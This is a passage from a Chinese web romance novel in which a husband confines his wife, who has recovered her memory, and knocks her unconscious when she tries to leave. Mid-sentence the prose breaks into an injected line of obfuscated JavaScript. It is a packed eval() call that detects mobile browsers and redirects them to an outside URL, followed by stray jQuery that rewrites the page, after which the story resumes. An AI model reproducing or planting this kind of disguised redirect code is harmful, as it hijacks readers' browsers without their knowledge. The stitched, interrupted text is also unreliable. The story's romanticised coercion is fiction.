顾清聆大步的往外走,春水不敢上手阻拦,只能跟着后面劝道:“夫人,您先回去歇着,等大人回来了,奴婢立刻去给您通传,好不好?”
顾清聆充耳不闻,一心想着出去,大门已经近在咫尺,她正准备走出去时,却被一只手挡住了,她抬头看去,是裴砚舟的亲卫,裴安。
除却上次回顾府,让裴安跟着她外,裴安一向是跟着裴砚舟做事的,怎的今天居然在府上?
裴安垂下眼,恭敬地行了一礼:“夫人,大人吩咐过,这几日年关将至,府中事多,请夫人留在院中休养,不要随意走动。”意思是不会放她出府了。
顾清聆看着守门的侍卫,倒是比之前多上几个。
“让开。”
裴安没动。
“夫人,大人有令,府中任何人不得出入。”
“这是要禁足我?”
裴安沉默了一瞬,头低得更下去些:“夫人恕罪。”
“如果我非要出去呢?”她问。
“大人吩咐了,若夫人非要出去,打晕即可。”
打晕即可。四个字,轻飘飘的,说出来也很轻松。
“打晕?”她重复了一遍,有些恼怒:“裴安,你说什么?你再说一遍。”
“夫人,属下奉命行事。若夫人非要硬闯,属下只能照办。”
他微微侧了侧身,让出身后那扇门的方向,意思是可以让她试试。
顾清聆看着他,又看了看他身后那些侍卫。七八个人,个个腰悬长刀,他们的目光都笔直的望向前方。
“夫人,”他说,声音依旧很平:“属下练过十几年功夫,手上力道掌握得准,不会痛的。”
她看着裴安的样子,没有半分退让的意思,意识到他是真的会动手,愤怒却又没有办法,春水也还在一旁劝着。
她站了许久,终究还是平静下来,也没必要自讨苦吃,她就不信裴砚舟永远不回来了,顾清聆转身就要回去。
一回到房里,春水又小心的观察着她的神色问道:“夫人可要用膳?今日还未曾用过膳呢。”
顾清聆一听,想起自己确实没吃东西。从早上醒来到现在,水都没喝一口。
没必要这样苛待自己,她继续往屋里走,走了两步,又停下来。
“去准备吧。”她说。
春水一愣,随即脸上露出喜色,连连点头:“是!奴婢这就去!”
“等等,我要在这屋内用。”
春水又愣了一下,但很快便反应过来应下:“是,奴婢这就去。”
顾清聆在窗边的软榻上坐下来。
不一会儿,春水就端了东西进来。一碗热粥,两碟小菜,还有几块刚出炉的点心,热气腾腾的,香味飘了满屋。
“夫人,先喝点粥暖暖胃。”春水把小几挪到她面前,小心翼翼地把碗筷摆好。
顾清聆看了一眼,端起碗,拿起勺子。
粥熬得刚好,不稠不稀,温度也合适。她一口一口吃着,动作很慢,不知在想些什么。
用完膳,她只能坐在房内,兰芝也被她打发回去了,顾清聆又开始回想这段时日的相处,裴砚舟做的那般体贴,竟全是建立在谎言之上,如今她一想起来,便不让她出去了,要将她关在这府上。
余光却瞟见妆台上的一物,顾清聆眉头微蹙,起身走过去拿起,这不是那块玉佩吗?
裂痕处镶嵌了金线,确实比之前更具有观赏性,手艺很好,若不仔细看,已经看不出原先的裂痕,裴砚舟怎会如此大度,将陆云霄与她的定情信物还留在此处?
顾清聆心生疑惑,她把玉佩举到窗台处,对着阳光下,翻来覆去地看,越看越确定,这不是原来那枚。
玉佩外表与之前并无区别,只是金线镶嵌的地方,与原来的裂痕处略有不同,若非那玉佩在她刚失忆被沈清救起时反复翻看,定是分辨不出区别的。
这是另一枚,一枚和原来那枚很像的玉佩,是裴砚舟伪造出来的。
如今想来,这些日子,他定是在想着如何做出一枚一模一样的玉佩,只是裂痕处不好伪造,便谎称用金线遮掩。
那原来的玉佩去哪了?
裴砚舟这人竟还伪造出一枚玉佩,若非她想起过去的事,怕是要被他一直蒙骗下去了。
顾清聆握紧手里的玉佩,又松开,最终是径直丢向窗外,与屋内的地毯不同,玉佩落在外头的地上,清脆的碎裂声响起,已然是四分五裂。
春水听见声音,慌忙的走进来,朝着顾清聆视线向窗外探去,便看见了一地的碎片,没多说什么,只低下头道:“奴婢这就叫人来收拾。”
“不必,”顾清聆看都没看她一眼,仍旧盯着窗外:“就这样。”
春水站在那,有些无措,却还是听从了顾清聆的吩咐,又退了下去。
一直到傍晚,裴砚舟才出现。
房门被轻轻推开,裴砚舟从外头走了进来,看到顾清聆时,也没先开口,只是沉默的走了进来,距离顾清聆两步的距离。
顾清聆倒是耐不住,一看到裴砚舟,原本平静下来的情绪又开始翻涌,等了一天才看到人,顾清聆向前一步,有些愤怒地质问道:“你骗我?”
裴砚舟只是沉默片刻,眼底翻涌着复杂的情绪,指尖暗自用力,有些泛白:“是,我是骗了你。”
顾清聆一听,内心的怒火彻底被点燃,就这么理直气壮的承认了,想到新婚夜的痛苦,想到昨日被强硬的带回来,今日又被禁止出府,看着裴砚舟低着头沉默的样子,更是生气,一时情绪上涌,胸口随着呼吸起伏不定,扬起手就给了一巴掌。
抬脚就想离开,往门口处走去,忽而想起他下令不能出府这事,脚步又顿了顿,这一停就被一股力道扯入怀里。
这一巴掌打的实,裴砚舟的脸被扇的偏了偏,脸上火辣辣的痛蔓延开来,昨日被打,今日又被打,他却仿佛感受不到似的,脸上完全没有恼怒的样子,眼看着顾清聆即将离去,从背后拥住她:“你不能走。”
手臂猛地
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17270866|195649||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
从身后环来,力道大得惊人,将她整个人禁锢在滚烫的怀抱里。裴砚舟的气息裹挟着颤意扑在她耳畔:“你不能走。”
“我凭啥不能走。”顾清聆挣扎道:“你放开我。”
“抱歉。”道歉声落下的同时,他抬起手,在她后颈落下一记力道恰好的敲击。顾清聆身子一软,所有挣扎戛然而止,人顺从的倒进他的怀里。
晕倒前,顾清聆想起白日里裴安说的那句不会痛的,还真是。
裴砚舟怀抱着顾清聆,将人轻轻的放在床上,又掰开她的手指固执的将十指与她一根根扣紧,随即凑上前只轻吻了一下嘴角。
打晕她的举动有些冲动,他还未想好该如何面对恢复记忆的她,眼底升起一片晦暗,明明好不容易...
眼底的情绪却越发疯狂起来:“我不会放你走的。”他喃喃低语,声音里有一种溺毙之人抓住浮木般的执着,对,他不能放她走。
他不能离开她。
无论如何。
这般想着,他拥紧了她。
而这个夜晚,又有无数的记忆涌入顾清聆的脑海里。
成亲后的第二日,裴府并无长辈,不需要早起敬茶,而裴砚舟又请了一段时日的假,故二人都睡到要日上三竿才醒。
顾清聆一醒来便觉得浑身像是要散架一样,眼睛也哭肿了,坐起身抬起头便看到裴砚舟站在床前,只穿着中衣,头发微微散乱。
“昨夜...”他开口,是看到她身上的痕迹,脸上稍稍泛起薄红,语气里还带着歉疚。
顾清聆无心去听,光是听见裴砚舟的声音,便觉得厌烦,裹紧身上的被子埋下头,便闷闷开口道:“出去。”
眼前一片黑暗,等了许久却没有听见离开的脚步声,她抬起头,看着裴砚舟仍站在床前,终是没忍住流露出厌恶的神情:“滚出去!”
本以为他会生气,却只是见裴砚舟一怔,深深的看了她一眼便转身离开了,连外袍也没有穿。
那天之后,裴砚舟没有再主动进过她的院子。
起初几日,顾清聆还会在院子里看见他的身影,他站在院门口,远远地看着她,不说话,也不进来。
然后便是二人三年的婚姻生活,三年里,顾清聆和裴砚舟说过的话都屈指可数,若是碰了面,也是沉默不语,更是连一句夫君都不曾喊过,都是直呼姓名。
画面越来越迷糊,后来好像又发生了什么,让二人的关系越加恶劣,顾清聆努力去回忆,只是她的意识慢慢清醒过来,梦境也随之破裂。
回到现实,一醒过来,扫视着周围的环境,瞬间唤醒了记忆,裴砚舟打晕了她。
这个疯子。
不仅欺骗她这么久,竟然还敢打晕她。
她此时满腔怒火无处安放,猛地坐起身,想要离开这里。房门恰在此时被推开。
裴砚舟端着粥走进来,又换回了曾经的月白色长衫,他就和什么都没有发生一样,如往日一般对她温和地笑了笑:“醒了?吃些东西吧。”